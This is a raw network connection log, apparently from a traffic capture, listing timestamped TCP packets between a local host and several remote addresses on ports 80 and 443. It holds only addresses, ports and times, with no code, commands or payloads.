Oct 29, 2024 02:46:40.780348063 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.780363083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780374050 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.780405998 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.780415058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780450106 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780466080 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.780484915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780512094 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.780514956 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780704021 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.780747890 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780781984 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780833006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780867100 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.780883074 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.780908108 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.781054020 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.781088114 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.781124115 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.781158924 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.781172991 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.781193018 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.781202078 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.781228065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.781269073 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.781315088 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.781328917 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.782102108 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.782250881 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.782367945 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.782403946 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.782418013 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.782427073 CET	49895	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.782432079 CET	443	49895	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.785123110 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.785188913 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.785278082 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.785458088 CET	49908	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.785487890 CET	443	49908	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.796869040 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.797084093 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.797151089 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.797302961 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.797321081 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.797331095 CET	49896	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.797336102 CET	443	49896	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.799783945 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.799822092 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.799931049 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.800084114 CET	49909	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.800100088 CET	443	49909	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.827311039 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:40.832973003 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:40.862478018 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:40.862936020 CET	49892	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:40.862957001 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:40.863689899 CET	49892	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:40.863694906 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:40.863733053 CET	49892	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:40.863740921 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:40.863972902 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.865286112 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.865349054 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.865406036 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.865417957 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.865427017 CET	49897	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.865432024 CET	443	49897	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.867897034 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.867959023 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.868200064 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.868422031 CET	49910	443	192.168.2.5	13.107.246.45
Oct 29, 2024 02:46:40.868452072 CET	443	49910	13.107.246.45	192.168.2.5
Oct 29, 2024 02:46:40.980190992 CET	443	49899	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:40.980499029 CET	49899	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:40.980506897 CET	443	49899	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:40.982131004 CET	443	49899	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:40.982211113 CET	49899	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:40.983562946 CET	49899	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:40.983644009 CET	443	49899	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:40.983778954 CET	49899	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:41.027354002 CET	443	49899	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:41.038068056 CET	49899	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:41.038074970 CET	443	49899	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:41.047950029 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.048203945 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.048224926 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.049638987 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.049727917 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.050848961 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.050930977 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.051063061 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.051078081 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.052942991 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.053230047 CET	49900	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.053255081 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.053469896 CET	443	49901	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.053749084 CET	49901	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.053761005 CET	443	49901	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.054049015 CET	443	49901	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.054672003 CET	49901	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.054727077 CET	443	49901	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.054747105 CET	443	49902	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.054811954 CET	49901	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.054912090 CET	49902	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.054924011 CET	443	49902	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.055774927 CET	443	49902	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.055835009 CET	49902	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.056122065 CET	49902	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.056176901 CET	443	49902	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.056241035 CET	49902	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.056248903 CET	443	49902	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.056375027 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.056435108 CET	49900	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.056760073 CET	49900	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.056849003 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.056961060 CET	49900	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.056968927 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.057425022 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.057607889 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.057615995 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.059032917 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.059092045 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.059396982 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.059469938 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.059535980 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.069864988 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.070177078 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.070187092 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.072031021 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.072093964 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.072407007 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.072483063 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.072551012 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.084930897 CET	49899	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:41.095331907 CET	443	49901	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.100548029 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.100552082 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.100569963 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.100583076 CET	49900	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.100583076 CET	49902	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.115336895 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.116169930 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.116173983 CET	443	49905	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:41.147526979 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:41.163041115 CET	49905	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.108505011 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108582020 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108607054 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.108616114 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108663082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108671904 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.108711958 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108722925 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.108763933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108783960 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.108795881 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108820915 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.108830929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108839989 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.108866930 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108917952 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.108921051 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108958960 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108988047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.108989000 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.109013081 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.109025002 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.109054089 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.109071970 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.109081030 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.109127998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.109144926 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.109163046 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.109214067 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.109214067 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.109251022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.109285116 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.109319925 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.109338999 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.109353065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.109379053 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.109416962 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.109476089 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.109803915 CET	443	49899	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:42.109962940 CET	443	49901	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.109996080 CET	443	49901	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.110064030 CET	49901	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.110076904 CET	443	49901	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.110202074 CET	49901	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.110210896 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.110271931 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.110330105 CET	443	49902	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.110366106 CET	49900	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.110419989 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.110449076 CET	443	49900	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.110483885 CET	443	49902	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.110505104 CET	49900	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.110555887 CET	49902	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.110826969 CET	443	49899	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:42.110857964 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.110878944 CET	49899	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:42.110965014 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.110986948 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.111026049 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.111056089 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.111080885 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.111103058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111150026 CET	443	49903	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.111152887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111157894 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.111183882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111185074 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:42.111186981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111206055 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:42.111215115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111215115 CET	49903	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.111215115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111218929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111248970 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:42.111253977 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111268044 CET	49892	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:42.111287117 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111288071 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111310005 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:42.111334085 CET	49892	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:42.111346006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111350060 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111371040 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111381054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111416101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111433983 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111449957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111469984 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111485004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111494064 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111521006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111556053 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111569881 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111591101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111625910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111660004 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111680031 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111694098 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111730099 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111745119 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111768007 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111803055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111836910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111855984 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111871958 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111907005 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111908913 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111929893 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111942053 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.111948013 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.111977100 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.112008095 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.112015009 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.112035990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.112052917 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.112098932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.112123966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.112133980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.112164021 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.112185001 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.112202883 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.112324953 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.112380981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.112551928 CET	443	49892	40.126.32.74	192.168.2.5
Oct 29, 2024 02:46:42.112602949 CET	49892	443	192.168.2.5	40.126.32.74
Oct 29, 2024 02:46:42.112992048 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.113490105 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.113616943 CET	49899	443	192.168.2.5	20.75.60.91
Oct 29, 2024 02:46:42.113631964 CET	443	49899	20.75.60.91	192.168.2.5
Oct 29, 2024 02:46:42.118853092 CET	49901	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.118876934 CET	443	49901	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.118886948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.118911028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.118930101 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.118951082 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.118957996 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.118984938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.118984938 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119004965 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119013071 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119096994 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119119883 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119138002 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119148016 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119148016 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119154930 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119170904 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119189978 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119215965 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119427919 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119467974 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119483948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119513035 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119540930 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119540930 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119647980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119683027 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119693995 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119730949 CET	49902	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.119754076 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119765997 CET	443	49902	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.119874954 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.119899035 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119903088 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.119918108 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119918108 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.119934082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119940996 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.119951010 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119970083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.119976997 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119976997 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.119981050 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.119988918 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.120007992 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120028019 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120033979 CET	443	49904	23.47.194.99	192.168.2.5
Oct 29, 2024 02:46:42.120071888 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.120071888 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.120081902 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120086908 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120098114 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120102882 CET	49904	443	192.168.2.5	23.47.194.99
Oct 29, 2024 02:46:42.120121002 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120141983 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120161057 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120202065 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120228052 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120270967 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120345116 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120398998 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:42.120415926 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120440006 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:42.120457888 CET	80	49838	185.215.113.206	192.168.2.5
